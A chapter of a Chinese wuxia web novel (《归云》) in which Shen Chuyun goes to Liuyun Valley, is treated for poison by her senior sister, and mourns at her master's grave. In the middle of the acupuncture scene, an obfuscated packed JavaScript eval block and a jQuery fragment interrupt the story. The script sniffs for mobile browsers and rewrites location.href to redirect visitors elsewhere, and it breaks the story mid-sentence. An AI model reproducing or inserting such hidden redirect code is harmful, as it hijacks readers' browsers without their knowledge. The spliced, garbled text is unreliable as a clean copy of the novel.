8. 故人故人
作品:《归云》 在乌瞳关汇合之后,沈初云与古临风便带领荒芜殿一行人往中原而去。
半月行程赶至澜沧江。
渡过澜沧江便算踏入中原地界,向东是回临安,往南则是通往流云谷。
曼陀毒实在棘手,沈初云需要前往流云谷疗伤,故此决定与众人分道而行。临风谨慎又担心,执意要同她前去,随行保护。
“荒芜殿不可无人主事。若是你我都不在,殿中事务该由谁决断?若毒宗乘虚而入,又该如何?”沈初云心平气和地劝道,“我知你担心我的安危,但你应该也知,我早就在流云谷安排了殿内高手驻守,安全无虞。”
一番话,让临风所有的辩解之词都咽了回去。他最终妥协,而真正分道之时,还是坚持安排两名手下随行保护。
一路南下,雾气渐浓,沈初云三人走的是山间近道,不过一月,便抵达流云谷。
流云谷地处南方山脉之中,虽然地势较高,但由于地形奇特,此时大雪的节气,却仍然没有什么寒意,犹如暖秋。
谷口怪石林立,形成一道天然的拱门,一串玉制的风铃悬于这拱门顶部,乍有风起,便叮呤作响。拱门之上,是一块木制的牌匾,斑驳错痕,朱漆刻下三个大字——
“流云谷”
沈初云看着牌匾,心中不禁泛起一丝波澜。
这里,算是她第二个“家”。
而第一个家,像是上辈子的事了。
第一个家在姑苏。
沈初云自幼长于江南姑苏,父亲在姑苏书院供职,后提拔至翰林院不过一年,不知触犯了何人何事,落得个满门抄斩的下场。
抄家那日,她在清风观温书,躲过一劫。不过垂髫之龄的女孩受不了这种打击,在清风观日日伤神痛哭,彼时,清风观正值搬迁之际,全观上下都不知该拿一个孤女如何。
碰巧,流云谷谷主来此云游,撞见了她。
谷主名唤雪嫣,长衣如雪,有仙人之资。她便开口解围,“我瞧她性子执拗,是个好苗子,不如我收作徒弟。”
自此,沈初云便有了一个新的“家”——流云谷。
谷主雪嫣医术冠绝天下,膝下两名弟子:柳青如与江无序,皆随她研习岐黄之术。沈初云虽称他们师兄师姐,却因知道自己没有天赋,始终觉得自己与医道无缘。
谁曾想,师傅竟也懂功夫之法,见她与医道上难有进步,便开始向她传授武学剑法。她也没有想到,自己竟有武学天赋,剑法套路,一招一式,皆能心领神会。此后,师傅也曾请过一些来治疗的江湖人来教她剑法、传授武学。
故而她这一身剑法绝学都是在这里起步练成。
“这也每个人守门吗?不怕别人硬闯?”身后的人问道。
思绪回笼。发问的人显然是第一次来到流云谷。
沈初云偏头解释:“流云谷的谷口由一道机关阵,没点本事,还真会折命于此。”
“原来如此。”
三人下马,信步走近谷口,堪堪停住。探头看去,里面竟是一片广阔平地,几棵绿竹和若干石块错落地摆放,莫名生出一股雅致别样的意味。
“青竹怪石阵。”沈初云呢喃,从袋中取出几颗圆形珠,发力弹向几块石头。
砰——怪石爆炸,伴随着巨响,碎屑四溅,牵动着拱门的风铃作响。
霎时间,迷烟四起,无数箭矢从四面八方极速而来。
“阵眼又换了?”沈初云迅速捂住口鼻,转告一旁二人,“闭息,烟雾有毒。”
若此时真有人置身于阵中,万箭齐发,烟雾迷眼又含毒,很难全身而退。
“谁!胆敢硬闯流云谷!”
只听得一声惊雷之喝,带着瑟瑟风声,穿云破雾,须臾之间,一点刀尖停在沈初云的眉心前。
沈初云双指夹住刀尖,再难近一寸。
烟雾中渐渐显现出一个女子,紫衣劲装,眼神凌厉。“殿主?”女子显然一钲,迅速收了刀。
沈初云摇头,笑着说无妨。
“阿紫,是谁?”一声清灵灵的呼唤。
烟雾渐渐散去。
台阶之上,一位青衣女子婷婷而立,微微蹙眉。柔和的眉眼,雪白的皮肤,长发柔柔地垂在腰间,温润得宛如山间流水。
“阿云?”青衣女子歪了歪头,轻声开口,带着丝丝惊讶。
“师姐。”沈初云看着她,忽而有些鼻酸,轻轻一笑。这是她的师姐、现任流云谷谷主,柳青如。
柳青如摆了摆手,道:“把这机关阵关了。”片刻间,怪石右移、绿竹左移,一条小路清晰可见。
“小心这边上的箭,待会儿会有人清理的。”
沈初云垂眸笑着,应了声“好”,便领着身后两人踏入谷中。
谷内空间辽阔,山石成趣,流水叮咚,绿竹成林,植被茂密,别有一番洞天。
柳青如与沈初云并肩同行,一路交谈。
“阿云,怎么今日来了?”
“受了点伤,有点麻烦,想来师姐这里调理一下。”
闻言,柳青如顿住了脚步,偏头牵起她的手,仔细查看了一番:“我看你这面色红润,精气神也还可以……”
指尖碰到了她的手腕脉搏处。
柳青如叹气:“中毒了?”
沈初云会心一笑,挑了挑眉:“不愧是流云谷谷主。”
柳青如撇了撇唇,让她不要打趣。随即领着她们往夏之谷走去。
流云谷内部又分为春、夏、秋、冬四谷,坐落于四角,由于独特的地形地势,每一个分谷内的气候都与名字相一致,奇特且别有意境。
到了夏之谷后,柳青如先给众人安排好住所,旋即拉着沈初云坐下。
素手搭右脉,闭目片刻,她沉声:“这毒有点奇怪,是毒宗?”
沈初云沉默点头。
“那就有点麻烦了,毒宗的毒向来难解…先随我去针灸室逼一点毒出来。”柳青如道正色道。沈初云点点头,随她前往针灸室,一路上也把自己的中毒之后症状说了一遍。
针灸室也叫“杏林针苑”,一座小楼,被绿竹环绕。
针灸讲究的是沉心静气。二楼雅间,帷幕低垂,雕花木门隔出了一方天地,乌木沉香袅袅而起。
沈初云感受着针尖一点一点刺破皮肤,气息
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17075029|195250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从头往下慢慢贯通。
室内热意腾腾,柳青如施完最后一针已然是满头大汗,从一旁侍女处取了帕子擦拭,旋即轻声吩咐她们下去。
“给你换一味药香,约莫半个时辰就行。”说罢,她便走到香炉边息火换香。
淡淡的药香飘来,沁入五脏六腑,似乎抚平了一切躁动。沈初云趴在床榻之上,渐渐觉得眼皮沉重,抬也抬不起来。
阖眼入眠。
小憩约半个时辰。寒意渐起。沈初云睁眼,药香已经息了。
柳青如正在帮她撤针。光滑细腻的后背,此刻却是被之前的热气染成红晕,还带着一片又一片的黑血。
沈初云觉得酥酥麻麻,带着点疼,想起身。
柳青如制止:“别动,这血里有毒素,我留存着可研究一下。”
她动手将些许黑血装入到一个玉瓶之中。处理完一切,她才道:“起来吧。”
沈初云挣扎着起来,披上衣服,喝了门外侍女端过来汤药,暖意回笼。
“今日是师傅的生辰,你…要是还有力气,可以去看看她。”柳青如收拾完东西,低声提醒道。
居然是生辰吗?沈初云抬了抬眼,看向柳青如充满担心的双眸。她竟然都已经不记得了…又或者她永远只记得那个的忌日。
“我知道了,我会去的,谢谢师姐。”她的声音低了下去。
柳青如掩门而出。
只留一室寂静。
沈初云盘腿而坐,调整内息,吐息之间,经脉通畅。经过刚刚针灸一遭,曼陀毒已被逼出去了不少,她现下只觉得身轻畅快。片刻之后,她整理好身上的衣物,独身一人去了后山。
流云谷的后山有一个特别的名字——“凤栖山”。传言,远古时期曾有一只凤凰在此栖息,吐纳之间,将灵气赋予这座山,山中草木茂盛、花意盎然、四季不变,故而因此得名。
山腰桃花林,片片绯红,如似仙境。
桃林深处,小小的土堆被石头垒起,一块斑驳的石碑似乎是历经沧桑。
沈初云跪在石碑前,伸手去抚摸上面雕刻的几个大字——雪嫣之墓。
一切又好像回到了从前,那些在流云谷晨起练剑、暮时烹茶的逍遥快活日子仿佛历历在目。
清泪两行,滴在墓碑前。连她自己都没有意识到。
沈初云叹了一口气,自言自语:“师傅,我遇见他了。”
少时习武略有小成之时,沈初云在众多武器中选中了名动天下的白骷灵剑。雪嫣看着她的一招一式与白骷灵融合得极好,便笑道“与他还真有几分相似”。
她连忙追问,是夜,师徒促膝长谈,她才得知,这白骷灵剑是师傅的佩剑,而师傅原本是荒芜殿殿主孤风之妻,因为不堪江湖纷扰算计,回到流云谷。
沈初云还想说点什么,却突然听到身后一阵极轻的脚步声。她垂眸,这才注意到墓碑前放着一碗仍有余温的桂花酒。
师傅生前最爱的酒。
“阿云。”
一声沙哑低沉的男声自身后传来。
她太熟悉这个声音了,手中已握住了袖间的滑过来的细刃。

